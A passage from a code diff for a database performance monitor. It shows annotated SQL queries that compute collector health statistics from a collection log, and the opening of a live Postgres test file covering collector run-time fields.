+            MAX(CASE WHEN status IN ('SUCCESS', 'SKIPPED') THEN collection_time END) AS last_success_time,
+            MAX(collection_time) AS last_run_time,
+            -- #1855: the message from the NEWEST failing run, not MAX()'s lexicographically greatest
+            -- one. The status re-check is load-bearing rather than belt-and-braces: when no failing run
+            -- in the window carried text, error_rank = 1 falls through to the newest row of ANY class,
+            -- and without it a SUCCESS row's note could surface here as a fake last error.
+            -- #3240: EXTENSION_MISSING is in the exemplar set because its stored sentence IS the remedy
+            -- (it names the extension and the database to create it in).
+            MAX(CASE WHEN error_rank = 1 AND status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN error_message END) AS last_error,
+            -- The newest failure OUTRIGHT, text or not — "when did this last fail" means the run, not
+            -- the message.
+            MAX(CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN collection_time END) AS last_error_time,
+            SUM(CASE WHEN status = 'PERMISSIONS' THEN 1 ELSE 0 END) AS permission_denied_count,
+            SUM(CASE WHEN status = 'YIELDED' THEN 1 ELSE 0 END) AS yield_count,
+            -- #1837: the note a SUCCEEDING run can leave behind (an enumeration that yielded 0 items,
+            -- items whose enumeration probe failed) and how many runs carried one. Gated on SUCCESS
+            -- specifically — the runners attach a note only to the SUCCESS write. Informational: it
+            -- feeds no band, and a legitimately empty target stays HEALTHY.
+            MAX(CASE WHEN note_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS last_note,
+            COUNT(CASE WHEN status = 'SUCCESS' THEN error_message END) AS note_count,
+            -- #1852: the one thing that makes a persistently-empty enumeration interesting — does this
+            -- target actually HAVE user databases? Zero items on a server with none is legitimate and
+            -- stays quiet; zero items on a server that HAS them is a login that cannot enter any, or a
+            -- filter that swallowed everything. database_size_stats rather than database_config for
+            -- three reasons: it runs on the scheduled loop (60 min) where database_config is on-load
+            -- and can age past this window on a long-running service; it is indexed on
+            -- (server_id, collection_time) where database_config has no index at all; and it reads
+            -- sys.master_files, so it still sees databases the monitoring login cannot ENTER — exactly
+            -- the case being diagnosed. database_id > 4 excludes the system databases, tempdb
+            -- included: the size collector takes every ONLINE database, so a bare row check
+            -- would be true on every server alive. A NULL database_id is an Azure sibling row
+            -- (#2643/#3262): sys.resource_stats carries no id, and it bills only USER databases,
+            -- so those rows are inventory too — without the IS NULL arm a master-connected Azure
+            -- target with fifty user databases would read as having none.
+            --
+            -- The inventory window is the health read's OWN ($2) — no second parameter, and an
+            -- inventory that aged out says nothing rather than something stale. Uncorrelated, so both
+            -- engines evaluate it once per query (a Postgres InitPlan) instead of per row, and it
+            -- needs no GROUP BY entry and no join. Feeds display text only, through the shared
+            -- formatter; the banding never sees it.
+            CASE
+                WHEN EXISTS
+                     (
+                         SELECT 1
+                         FROM v_database_size_stats
+                         WHERE server_id = $1
+                         AND   collection_time >= $2
+                         AND   (database_id > 4 OR database_id IS NULL)
+                     )
+                THEN 1
+                ELSE 0
+            END AS has_user_databases,
+            -- #2472: the per-database fan-out, described for ONE run — the dearest one in the window.
+            -- Five collectors run once per database and the run writes a single blended duration_ms, so
+            -- "eight databases at 10.1s" and "one at 62s beside seven at 2.7s" are the same 80,900 ms and
+            -- want opposite fixes. These four are that one run's parts, and their ratio
+            -- (slowest_item_ms * fanout_items / slowest_run_duration_ms) is 1.0 for an even fan-out and
+            -- 6.1 for the dominated example. All four come from the SAME row via slowest_rank rather than
+            -- four independent aggregates, because a slowest item taken from one run and a width taken
+            -- from another compose into a ratio describing no run that ever happened — the same defect
+            -- PERCENTILE_CONT was rejected for above. NULL throughout for a collector that never fans
+            -- out, which is most of them.
+            MAX(CASE WHEN slowest_rank = 1 THEN fanout_item_count END) AS fanout_items,
+            MAX(CASE WHEN slowest_rank = 1 THEN slowest_item END) AS slowest_item,
+            MAX(CASE WHEN slowest_rank = 1 THEN slowest_item_ms END) AS slowest_item_ms,
+            MAX(CASE WHEN slowest_rank = 1 THEN duration_ms END) AS slowest_run_duration_ms,
+            -- #2804: runs the #2673 wall-clock budget abandoned. Appended LAST rather than placed beside
+            -- yield_count, which is where it belongs by meaning: both MCP surfaces read this result set
+            -- POSITIONALLY and Lite's DuckDB read mirrors these ordinals, so inserting mid-list would
+            -- silently re-map every column after it in whichever surface was not edited in the same
+            -- breath. An ABANDONED run was previously counted by total_runs and by nothing else, so it
+            -- grew the failure-rate denominator while contributing nothing to the numerator.
+            --
+            -- #2926: keyed on the ROW, not on the status alone. collection_log is append-only, so a
+            -- window can still hold cycles written before #2803 gave abandonment its own status:
+            -- status = 'SUCCESS' beside rows_collected = 0 and the budget note. Counted by status
+            -- alone this read 0 for them, and the collector banded HEALTHY while losing cycles - a
+            -- filter correct against current writes and silently wrong against older ones, failing in
+            -- the reassuring direction. The pattern is one LIKE because the budget is INTERPOLATED and
+            -- the shipped values differ (120 s for procedure_stats/query_stats/plan_correction, 600 s
+            -- for query_store), so equality against one rendered sentence matches one collector.
+            SUM(CASE WHEN {EnumeratedCollectorDriver.AbandonedRunPredicateSql}
+                     THEN 1 ELSE 0 END) AS abandoned_count,
+            -- #3010: the newest DENIAL on its own, which is what dates the last_error slot above.
+            -- last_error_time cannot stand in for it: that column is a MAX over ERROR and PERMISSIONS
+            -- together, so on a collector carrying both it hands a reader an error's instant and lets
+            -- them call it a denial. Compared against last_success_time this separates a collector
+            -- still being refused from one whose refusals all predate a later success -- the exact
+            -- distinction pg_deadlocks needed and no surface could make.
+            --
+            -- Appended LAST, like abandoned_count before it: both MCP surfaces read this result set
+            -- POSITIONALLY and Lite's DuckDB read mirrors these ordinals, so a mid-list insert would
+            -- silently re-map every column after it in whichever surface was not edited in the same
+            -- breath.
+            MAX(CASE WHEN status = 'PERMISSIONS' THEN collection_time END) AS last_denied_time,
+            -- #3017: what the spend BOUGHT. Every other statistic on a health row describes cost --
+            -- total_runs, the three durations, and the sweep-pressure roll-up built from them -- and the
+            -- rows figure lived on get_collector_cost, a different tool over a different (hourly, fleet-
+            -- wide) series. Correlating spend against output was a join a reader had to know to make.
+            -- Measured: pg_deadlocks was the dearest collector on a managed store, 49,258,335 ms over
+            -- 79,333 runs in seven days, and stored zero rows.
+            --
+            -- Read from THIS query's own window so cost and output cannot describe different runs. That
+            -- is the same reason #3010's two instants come out of one aggregate: a rows figure taken
+            -- from one window beside a duration taken from another composes into a ratio describing no
+            -- collector that ever ran.
+            --
+            -- COALESCE so a zero is unambiguous at the STORE. Without it a collector whose every
+            -- rows_collected is NULL returns NULL here, which a reader would have to guess between "this
+            -- read did not measure output" and "it stored nothing" -- and the whole point of the column
+            -- is that the second of those becomes a fact rather than an absence.
+            COALESCE(SUM(rows_collected), 0) AS rows_stored,
+            -- The DENOMINATOR's partner, and the honest half of a cost/output pair: 12 rows over 3 of
+            -- 79,333 runs is a different collector from 12 rows over all of them. get_pg_blocking already
+            -- reports captures_with_blocking beside captures_total for exactly this reason, off this same
+            -- rows_collected > 0 test. total_runs above is the denominator; this is the numerator.
+            --
+            -- APPENDED, like every column since #2472: both MCP surfaces read this result set
+            -- POSITIONALLY and Lite's DuckDB read mirrors these ordinals, so a mid-list insert would
+            -- silently re-map every column after it in whichever surface was not edited in the same
+            -- breath.
+            SUM(CASE WHEN rows_collected > 0 THEN 1 ELSE 0 END) AS runs_with_rows,
+            -- #3240: runs skipped because a PostgreSQL extension the collector DECLARES is not installed
+            -- — the EXTENSION_MISSING status the fault mapper split out of PERMISSIONS, counted apart so
+            -- the banding stops calling an uninstalled optional extension NO_PERMISSIONS. APPENDED, like
+            -- every column since #2472, because this result set is read positionally.
+            SUM(CASE WHEN status = 'EXTENSION_MISSING' THEN 1 ELSE 0 END) AS extension_missing_count,
+            -- #3754: runs whose XE session was missing or could not be created - the SESSION_MISSING status
+            -- the tolerant XE readers write for a permission-denied session read and, since #3754, the
+            -- long-query reconcile writes for a session refused in every database. Until now this status
+            -- reached this surface as total_runs and NOTHING else: not an error, not a success, not a
+            -- denial, so a collector whose every run was SESSION_MISSING banded FAILING on the never-
+            -- succeeded clock while the row said errors 0 and the output finding said it had read and
+            -- found nothing. Counted apart from error_count on purpose - it is not fed to the band, whose
+            -- capture-down story belongs to the self-alert - and fed with error_count to the output
+            -- finding as the runs that could not read. APPENDED, like every column since #2472, because
+            -- this result set is read positionally and Lite's DuckDB read mirrors the ordinals.
+            SUM(CASE WHEN status = 'SESSION_MISSING' THEN 1 ELSE 0 END) AS session_missing_count,
+            -- #3819: the three columns that tell a collector which STOPPED producing apart from one that
+            -- never produced here. The same named skip carries opposite meanings on those two rows, and
+            -- until now the surface read both as the benign resting state -- which is how an install that
+            -- took pg_statement_stats from 85% productive to EXTENSION_MISSING on 23 of 50 clusters was
+            -- accepted by the countersign for 24 hours. APPENDED, like every column since #2472, because
+            -- this result set is read positionally and Lite's DuckDB read mirrors the ordinals.
+            --
+            -- current_status is what the collector is reporting NOW, for the finding's prose. Taken at
+            -- recency_rank = 1 rather than as a MAX over the skip rows: MAX is lexicographic, so on a
+            -- streak whose status changed it would name whichever word sorts highest instead of the one
+            -- being reported.
+            MAX(CASE WHEN recency_rank = 1 THEN status END) AS current_status,
+            -- The instant the current skip streak began AFTER: the newest run that was NOT a named skip.
+            -- The vocabulary is interpolated from CollectorRuntimePrecondition, which is where each of
+            -- those statuses is declared, so this cannot ask about three of four after a fourth is split
+            -- out. A NULL status counts as non-skip: it is not one of the declared skip words, and reading
+            -- it as one would let an unwritten status manufacture a streak.
+            MAX(CASE WHEN status IS NULL
+                      OR status NOT IN ({CollectorRuntimePrecondition.NamedSkipStatusSqlList})
+                     THEN collection_time END) AS last_non_skip_time,
+            -- The newest run that stored anything. Off the same rows_collected > 0 test as runs_with_rows
+            -- above, so productive means one thing on this row. Compared against last_non_skip_time it
+            -- says the productivity sits BEFORE the streak rather than inside it, which is the ORDER that
+            -- makes this a regression rather than two unrelated facts.
+            MAX(CASE WHEN rows_collected > 0 THEN collection_time END) AS last_productive_time,
+            -- #3885: how many runs, counting back from the NEWEST, were SUCCESS with zero rows and nothing
+            -- else. The column that makes the #3819 regression arm able to see the class it could not:
+            -- job_history recorded SUCCESS / 0 rows run after run on 41 of 43 servers of the largest
+            -- production store for up to a fortnight -- 1,900+ consecutive such runs on one of them -- and
+            -- banded HEALTHY throughout, because #3819 keys on a skip STATUS and this collector's status was
+            -- the most reassuring word the vocabulary has.
+            --
+            -- Exact, and FREE: recency_rank already exists in the subquery below (#3819 added it for
+            -- current_status), so this buys the streak's true width with no new window function and no new
+            -- sort. MIN of the rank of the newest run that BREAKS the streak, minus one, is the count of
+            -- runs ahead of it; NULL (no run breaks it -- every run in the window is a zero-row success)
+            -- falls back to COUNT(*), which is that same count. A streak broken by an error, a denial, a
+            -- skip or a productive run therefore reads 0 rather than reaching past it, because what this
+            -- measures is the collector's CURRENT state and any of those is a different current state.
+            --
+            -- The abandonment exclusion is the one success_count above uses, for the same #2926 reason: a
+            -- pre-#2803 abandoned cycle is stored as SUCCESS with zero rows and the budget note, which is
+            -- data LOSS rather than a source that went quiet, and counting it here would attribute an
+            -- abandonment to a regression. APPENDED, like every column since #2472, because this result set
+            -- is read positionally.
+            COALESCE(
+                MIN(CASE WHEN NOT (status = 'SUCCESS'
+                                   AND COALESCE(rows_collected, 0) = 0
+                                   AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql})
+                         THEN recency_rank END) - 1,
+                COUNT(*)) AS trailing_zero_row_success_runs,
+            -- #4748: the note the collector's NEWEST run left, which is not last_note above. last_note is the
+            -- newest run that CARRIED a note (note_rank), so a clean run after a partial-failure cycle still
+            -- shows the older cycle's note there; the band must not read that, because the loss it names
+            -- is not the collector's current state. recency_rank = 1 is the newest run of any status, and the
+            -- SUCCESS gate matches last_note's (only the SUCCESS write carries a note). APPENDED like every
+            -- column since #2472, because this result set is read positionally and Lite's DuckDB read
+            -- mirrors the ordinals.
+            MAX(CASE WHEN recency_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS latest_run_note
+        FROM
+        (
+            -- #1855: rank each class of message newest-first so the two exemplar columns above can take
+            -- the LATEST one instead of the lexicographically greatest. Ordering on whether the class's
+            -- CASE came back empty puts every row that carries such a message ahead of every row that
+            -- does not, so rank 1 is the newest one that has text — and a later clean run no longer
+            -- blanks a note the window still holds. Text does not sort like the number #1837's probe
+            -- note carries: 12 item(s) sorts below 9 item(s). One byte-identical shape with Lite's
+            -- DuckDB read and the Viewer's, down to the error_message DESC tie-break.
+            SELECT
+                collector_name,
+                collection_time,
+                duration_ms,
+                status,
+                error_message,
+                -- #2926: the abandonment predicate above reads it. Projected here for the same reason
+                -- #2472's three columns are: this subquery ENUMERATES its columns, so an aggregate
+                -- outside naming one it does not carry fails at the STORE and nowhere earlier.
+                rows_collected,
+                -- #2472: projected here because this subquery enumerates its columns rather than
+                -- SELECT *-ing them, so an aggregate outside that names a column the inner query does
+                -- not carry fails at the STORE and nowhere earlier — no compiler, no text assertion and
+                -- no local build can see it.
+                fanout_item_count,
+                slowest_item,
+                slowest_item_ms,
+                ROW_NUMBER() OVER
+                (
+                    PARTITION BY collector_name
+                    ORDER BY (CASE WHEN status = 'SUCCESS' THEN error_message END) IS NULL,
+                             collection_time DESC,
+                             error_message DESC
+                ) AS note_rank,
+                ROW_NUMBER() OVER
+                (
+                    PARTITION BY collector_name
+                    ORDER BY (CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN error_message END) IS NULL,
+                             collection_time DESC,
+                             error_message DESC
+                ) AS error_rank,
+                -- #2472: the window's dearest single ITEM, and with it the run that carried it. Ranked on
+                -- slowest_item_ms rather than duration_ms because the question is which database is
+                -- expensive, not which cycle was: a run whose total is the largest only because every
+                -- database was busy is exactly the shape a per-database override should NOT be aimed at.
+                ROW_NUMBER() OVER
+                (
+                    PARTITION BY collector_name
+                    ORDER BY slowest_item_ms IS NULL,
+                             slowest_item_ms DESC,
+                             collection_time DESC
+                ) AS slowest_rank,
+                -- #3819: newest run first, so current_status above can take the status the collector is
+                -- reporting NOW. status DESC only breaks an exact-timestamp tie, and breaks it identically
+                -- on DuckDB and Postgres -- the same reason the ranks above tie-break on error_message.
+                ROW_NUMBER() OVER
+                (
+                    PARTITION BY collector_name
+                    ORDER BY collection_time DESC,
+                             status DESC
+                ) AS recency_rank
+            FROM v_collection_log
+            WHERE server_id = $1
+            AND   collection_time >= $2
+        ) runs
+        GROUP BY collector_name
+        ORDER BY collector_name
+        """;
+
+    /// <summary>The WPF viewer's statement (<c>ViewerDataService.CollectionHealthSql</c>) before #4955: 19 columns.</summary>
+    public const string Viewer = $"""
+        SELECT
+            collector_name,
+            COUNT(*) AS total_runs,
+            -- #2926: SUCCESS excludes an abandonment that predates #2803, so the Success column beside
+            -- Abandoned cannot count the same run twice. Post-#2803 rows need no exclusion - ABANDONED
+            -- is not SUCCESS - and an ordinary empty run stays counted, which is what the COALESCE in
+            -- the shared predicate is for: NULL under this NOT would have dropped it.
+            SUM(CASE WHEN status = 'SUCCESS'
+                      AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql}
+                     THEN 1 ELSE 0 END) AS success_count,
+            SUM(CASE WHEN status = 'ERROR' THEN 1 ELSE 0 END) AS error_count,
+            AVG(duration_ms) AS avg_duration_ms,
+            -- SKIPPED counts as a healthy run (dedup / version-gated collectors no-op without being stale)
+            MAX(CASE WHEN status IN ('SUCCESS', 'SKIPPED') THEN collection_time END) AS last_success_time,
+            MAX(collection_time) AS last_run_time,
+            -- #1855: the message from the NEWEST failing run, not MAX()'s lexicographically greatest
+            -- one. The status re-check is load-bearing rather than belt-and-braces: when no failing run
+            -- in the window carried text, error_rank = 1 falls through to the newest row of ANY class,
+            -- and without it a SUCCESS row's note could surface here as a fake last error.
+            -- #3240: EXTENSION_MISSING is in the exemplar set because its stored sentence IS the remedy
+            -- (it names the extension and the database) — without it an EXTENSION_MISSING band would sit
+            -- beside a blank Last Error and the operator would have to open the run log to learn why.
+            MAX(CASE WHEN error_rank = 1 AND status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN error_message END) AS last_error,
+            -- The newest failure OUTRIGHT, text or not — "when did this last fail" means the run, not
+            -- the message. It can only name a different row than last_error if a failure was written
+            -- with no text.
+            MAX(CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN collection_time END) AS last_error_time,
+            SUM(CASE WHEN status = 'PERMISSIONS' THEN 1 ELSE 0 END) AS permission_denied_count,
+            -- YIELDED = the 1s LOCK_TIMEOUT guard fired (#1805): deliberate, benign for collection,
+            -- counted apart from errors because clustering here is a signal about the TARGET's lock
+            -- contention rather than a monitoring fault.
+            SUM(CASE WHEN status = 'YIELDED' THEN 1 ELSE 0 END) AS yield_count,
+            -- #1837: the note a SUCCEEDING run can leave behind (an enumeration that yielded 0 items,
+            -- items whose enumeration probe failed). Gated on SUCCESS specifically, rather than on
+            -- every non-failure status: the runners attach a note only to the SUCCESS write, and the looser
+            -- complement would drag SESSION_MISSING and CANCELLED messages into a column whose whole
+            -- claim is that it is NOT an error. Display text only: no band, no count, no threshold
+            -- reads it, and a legitimately empty target stays HEALTHY exactly as before.
+            MAX(CASE WHEN note_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS last_note,
+            -- How many of the window's runs carried one. note_count = total_runs is the
+            -- persistently-empty signal: EVERY run this week came back with nothing.
+            COUNT(CASE WHEN status = 'SUCCESS' THEN error_message END) AS note_count,
+            -- #1852: the one thing that makes a persistently-empty enumeration interesting — does this
+            -- target actually HAVE user databases? Zero items on a server with none is legitimate and
+            -- stays quiet; zero items on a server that HAS them is a login that cannot enter any, or a
+            -- filter that swallowed everything. database_size_stats rather than database_config for
+            -- three reasons: it runs on the scheduled loop (60 min) where database_config is on-load
+            -- and can age past this window on a long-running service; it is indexed on
+            -- (server_id, collection_time) where database_config has no index at all; and it reads
+            -- sys.master_files, so it still sees databases the monitoring login cannot ENTER — exactly
+            -- the case being diagnosed. database_id > 4 excludes the system databases, tempdb
+            -- included: the size collector takes every ONLINE database, so a bare row check
+            -- would be true on every server alive. A NULL database_id is an Azure sibling row
+            -- (#2643/#3262): sys.resource_stats carries no id, and it bills only USER databases,
+            -- so those rows are inventory too — without the IS NULL arm a master-connected Azure
+            -- target with fifty user databases would read as having none.
+            --
+            -- The inventory window is the health read's OWN ($2) — no second parameter, and an
+            -- inventory that aged out says nothing rather than something stale. Uncorrelated, so both
+            -- engines evaluate it once per query (a Postgres InitPlan) instead of per row, and it
+            -- needs no GROUP BY entry and no join. Feeds display text only, through the shared
+            -- formatter; the banding never sees it.
+            CASE
+                WHEN EXISTS
+                     (
+                         SELECT 1
+                         FROM v_database_size_stats
+                         WHERE server_id = $1
+                         AND   collection_time >= $2
+                         AND   (database_id > 4 OR database_id IS NULL)
+                     )
+                THEN 1
+                ELSE 0
+            END AS has_user_databases,
+            -- #2804: runs the #2673 wall-clock budget abandoned. Appended last — this result set is
+            -- read positionally by one shared mapper serving BOTH the per-server and fleet reads.
+            --
+            -- #2926: keyed on the ROW, not on the status alone. collection_log is append-only, so a
+            -- window can still hold cycles written before #2803 gave abandonment its own status:
+            -- status = 'SUCCESS' beside rows_collected = 0 and the budget note. Counted by status
+            -- alone this read 0 for them, and the collector banded HEALTHY while losing cycles - a
+            -- filter correct against current writes and silently wrong against older ones, failing in
+            -- the reassuring direction. The pattern is one LIKE because the budget is INTERPOLATED and
+            -- the shipped values differ (120 s for procedure_stats/query_stats/plan_correction, 600 s
+            -- for query_store), so equality against one rendered sentence matches one collector.
+            SUM(CASE WHEN {EnumeratedCollectorDriver.AbandonedRunPredicateSql}
+                     THEN 1 ELSE 0 END) AS abandoned_count,
+            -- #3240: runs skipped because a PostgreSQL extension the collector DECLARES is not installed
+            -- — the EXTENSION_MISSING status the fault mapper split out of PERMISSIONS, counted apart so
+            -- the banding stops calling an uninstalled optional extension NO_PERMISSIONS. APPENDED, never
+            -- inserted: this result set is read positionally by one shared mapper.
+            SUM(CASE WHEN status = 'EXTENSION_MISSING' THEN 1 ELSE 0 END) AS extension_missing_count,
+            -- #3819: the two instants that, with last_run_time above, say whether this collector
+            -- STOPPED producing rather than never having produced here. The same named skip carries
+            -- opposite meanings on those two rows, and the band read both as the benign resting state.
+            -- This grid bands through the SAME shared classifier as the service's reads, so it has to
+            -- feed it the same inputs — left unselected they default to null, this COMPILES, and the
+            -- grid would call a regressed collector HEALTHY while get_collection_health called it
+            -- WARNING. That is #3240's lesson and #2804's before it. The FINDING that names the rows and
+            -- the status is deliberately not carried here: this projection has no rows_stored to count
+            -- and the grid has no column to render prose in, so the band is the whole of what this
+            -- surface needs to agree about. APPENDED, read positionally by the one shared mapper.
+            MAX(CASE WHEN status IS NULL
+                      OR status NOT IN ({CollectorRuntimePrecondition.NamedSkipStatusSqlList})
+                     THEN collection_time END) AS last_non_skip_time,
+            MAX(CASE WHEN rows_collected > 0 THEN collection_time END) AS last_productive_time,
+            -- #4748: the note the collector's NEWEST run left, which is not last_note above (that is the
+            -- newest run that CARRIED a note, so a clean run after a partial-failure cycle still shows the
+            -- older cycle's note there). The band reads only this one, because the loss an older note names
+            -- is not the collector's current state. APPENDED, read positionally by the one shared mapper.
+            MAX(CASE WHEN recency_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS latest_run_note
+        FROM
+        (
+            -- #1855: rank each class of message newest-first so the two exemplar columns above can take
+            -- the LATEST one instead of the lexicographically greatest. Ordering on whether the class's
+            -- CASE came back empty puts every row that carries such a message ahead of every row that
+            -- does not, so rank 1 is the newest one that has text — and a later clean run no longer
+            -- blanks a note the window still holds. MAX() was never wrong about WHICH rows to consider,
+            -- only about which of them wins, and text does not sort like the number #1837's probe note
+            -- carries: 12 item(s) sorts below 9 item(s). collection_time settles it; error_message DESC
+            -- only breaks an exact-timestamp tie, and breaks it identically here and in Lite's DuckDB
+            -- twin, which binary-vs-locale collation would not.
+            SELECT
+                collector_name,
+                collection_time,
+                duration_ms,
+                status,
+                error_message,
+                -- #2926: the abandonment predicate above reads it. Projected here for the same reason
+                -- #2472's three columns are: this subquery ENUMERATES its columns, so an aggregate
+                -- outside naming one it does not carry fails at the STORE and nowhere earlier.
+                rows_collected,
+                ROW_NUMBER() OVER
+                (
+                    PARTITION BY collector_name
+                    ORDER BY (CASE WHEN status = 'SUCCESS' THEN error_message END) IS NULL,
+                             collection_time DESC,
+                             error_message DESC
+                ) AS note_rank,
+                ROW_NUMBER() OVER
+                (
+                    PARTITION BY collector_name
+                    ORDER BY (CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN error_message END) IS NULL,
+                             collection_time DESC,
+                             error_message DESC
+                ) AS error_rank,
+                -- #4748: newest run first, so latest_run_note above takes the newest run's note. status DESC
+                -- only breaks an exact-timestamp tie, the way the Darling service read breaks it.
+                ROW_NUMBER() OVER
+                (
+                    PARTITION BY collector_name
+                    ORDER BY collection_time DESC,
+                             status DESC
+                ) AS recency_rank
+            FROM v_collection_log
+            WHERE server_id = $1
+            AND   collection_time >= $2
+        ) runs
+        GROUP BY collector_name
+        ORDER BY collector_name
+        """;
+}
diff --git a/Darling/Darling.Tests/CollectionHealthRunTimeFieldsLiveTests.cs b/Darling/Darling.Tests/CollectionHealthRunTimeFieldsLiveTests.cs
new file mode 100644
index 0000000000..11d92c6847
--- /dev/null
+++ b/Darling/Darling.Tests/CollectionHealthRunTimeFieldsLiveTests.cs
@@ -0,0 +1,587 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4938: <c>get_collection_health</c> shows a collector's run time. A collector with a run time carries
+/// <c>run_at</c> (24-hour <c>HH:MM</c> on the monitored server's clock) and <c>next_run_utc</c> (the next time it is
+/// due, UTC). A collector without one carries null for both on a full row, and nothing for either on a partial or a
+/// compact row. The server's row wins over the fleet row, a run time of
+/// -1 on the server's row stops the fleet's, and a collector whose interval is not a whole number of days has none.
+/// The health band is read from the shipped cadence and a run time does not move it. A server with no clock yet reads
+/// the run time as UTC. A day the collector skipped crosses the stale line before the next slot, and the row carries
+/// a <c>run_time_note</c> that says so.
+/// </summary>
+/* #1776 own-store: each fact mints its own scratch database through ScratchPostgres and never touches the shared
+   store's tables, so it cannot race the live collection and serializing it would be pure slowdown. */
+public sealed class CollectionHealthRunTimeFieldsLiveTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the run-time health fields' live pins (each mints its own scratch database).";
+
+    /* Two collectors on a daily interval (the second is an on-load collector the shipped schedule recaptures daily) and
+       one on a one-minute interval. */
+    private const string DailyCollector = "index_object_stats";
+    private const string SecondDailyCollector = "server_config";
+    private const string MinuteCollector = "wait_stats";
+
+    /* A run time 12 hours from now, so today's slot and the one before it are both more than 11 hours from now whatever
+       the server's spread is, and a test never lands inside the 60-minute window after a slot. A fixed 02:00 would sit in
+       that window for two hours of every day. */
+    private static int RunTimeHalfADayAway(DateTime nowUtc) => (nowUtc.Hour * 60 + nowUtc.Minute + 12 * 60) % 1440;
+
+    /* The UTC time of day of a slot: the run time on a clock this many minutes behind UTC, plus the server's spread. */
+    private static TimeSpan SlotTimeOfDayUtc(int runAtMinute, int serverId, int minutesBehindUtc = 0)
+    {
+        var slot = TimeSpan.FromMinutes(runAtMinute + minutesBehindUtc) + CollectorRunTime.Spread(serverId);
+        return TimeSpan.FromTicks(slot.Ticks % TimeSpan.FromDays(1).Ticks);
+    }
+
+    private static async Task<NpgsqlConnection> MigratedAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        return connection;
+    }
+
+    private static async Task RegisterServerAsync(NpgsqlConnection connection, int serverId, string name, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            """
+            INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, created_date, modified_date)
+            VALUES ($1, $2, $2, TRUE, 15, $3, $3)
+            """, connection);
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(name);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified));
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task LogRunAsync(NpgsqlConnection connection, int serverId, string serverName, string collector, DateTime whenUtc, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            """
+            INSERT INTO collection_log (log_id, collection_time, server_id, server_name, collector_name, status, duration_ms, rows_collected)
+            VALUES ($1, $2, $3, $4, $5, 'SUCCESS', 120, 10)
+            """, connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(whenUtc, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(serverName);
+        command.Parameters.AddWithValue(collector);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>One failed run of a collector: an ERROR row in the window, which keeps the collector off the compact shape
+    /// and gives it the partial one.</summary>
+    private static async Task LogFailureAsync(NpgsqlConnection connection, int serverId, string serverName, string collector, DateTime whenUtc, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            """
+            INSERT INTO collection_log (log_id, collection_time, server_id, server_name, collector_name, status, duration_ms, rows_collected, error_message)
+            VALUES ($1, $2, $3, $4, $5, 'ERROR', 120, 0, 'a failed run')
+            """, connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(whenUtc, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(serverName);
+        command.Parameters.AddWithValue(collector);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task PlantOffsetAsync(NpgsqlConnection connection, int serverId, string serverName, int offsetMinutes, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            """
+            INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, utc_offset_minutes)
+            VALUES ($1, $2, $3, $4, $5)
+            """, connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(serverName);
+        command.Parameters.AddWithValue(offsetMinutes);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>One run-time row (<c>config.config_collector_run_times</c>): a fleet row when <paramref name="serverId"/> is null,
+    /// else that server's. The run time is minutes after midnight, or -1 for "no fixed time". A run time needs no schedule row, so
+    /// one is written only for a collector that is switched OFF (<paramref name="enabled"/> false): every other call reads the
+    /// run time with no schedule row at all.</summary>
+    private static async Task SetRunTimeAsync(NpgsqlConnection connection, int? serverId, string collector, int minute, CancellationToken ct, bool enabled = true)
+    {
+        await using var command = new NpgsqlCommand(
+            "INSERT INTO config.config_collector_run_times (server_id, collector_name, run_at_minute) VALUES ($1, $2, $3)", connection);
